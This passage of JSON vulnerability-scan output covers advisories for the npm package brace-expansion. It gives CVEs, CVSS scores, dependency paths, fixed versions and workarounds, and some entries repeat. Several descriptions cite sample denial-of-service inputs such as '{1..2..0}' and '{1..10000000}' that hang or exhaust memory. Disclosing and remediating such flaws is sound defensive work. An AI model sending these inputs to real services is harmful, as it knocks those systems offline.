Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub 